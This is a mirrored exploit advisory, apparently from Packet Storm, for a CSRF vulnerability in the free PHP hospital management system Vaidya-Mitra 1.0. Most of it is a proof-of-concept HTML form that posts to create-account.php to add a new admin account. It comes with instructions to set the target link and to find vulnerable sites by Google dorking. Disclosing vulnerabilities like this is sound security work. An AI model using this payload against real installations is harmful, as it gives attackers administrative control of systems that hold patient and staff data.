Free Hospital Management System For Small Practices 1.0 CSRF

2024-09-0200:00:00

indoushka

packetstormsecurity.com

hospital management system

small practices

csrf vulnerability

create-account.php

mozilla firefox

windows 10

vaidya-mitra

html code

admin

telephone

password

AI Score

7.4

Confidence

Low

JSON

`=============================================================================================================================================  
| # Title : Vaidya-Mitra v 1.0 CSRF Vulnerability  
|  
| # Author : indoushka  
|  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1  
(64 bits) |  
| # Vendor :  
https://www.sourcecodester.com/php/16720/free-hospital-management-system-small-practices.html  
|  
  
=============================================================================================================================================  
  
poc :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] The following HTML code add new admin.  
  
[+] Go to the line 9. Set the target site link Save changes and apply .  
  
[+] infected file : vm/create-account.php.  
  
[+] save code as poc.html  
  
[+] payload :  
  
<!DOCTYPE html>  
<html lang="en">  
<head>  
<meta charset="UTF-8">  
<meta name="viewport" content="width=device-width,  
initial-scale=1.0">  
<title>Create Account</title>  
</head>  
<body>  
<form action="http://127.0.0.1/vm/create-account.php" method="POST">  
<label for="newemail">Email:</label>  
<input type="email" id="newemail" name="newemail" required>  
<br>  
  
<label for="tele">Telephone:</label>  
<input type="text" id="tele" name="tele" required>  
<br>  
  
<label for="newpassword">Password:</label>  
<input type="password" id="newpassword" name="newpassword"  
required>  
<br>  
  
<label for="cpassword">Confirm Password:</label>  
<input type="password" id="cpassword" name="cpassword" required>  
<br>  
  
<button type="submit">Create Account</button>  
</form>  
</body>  
</html>  
  
  
Greetings to  
:============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr  
|  
  
==========================================================================  
  
  
`

AI Score

7.4

Confidence

Low

JSON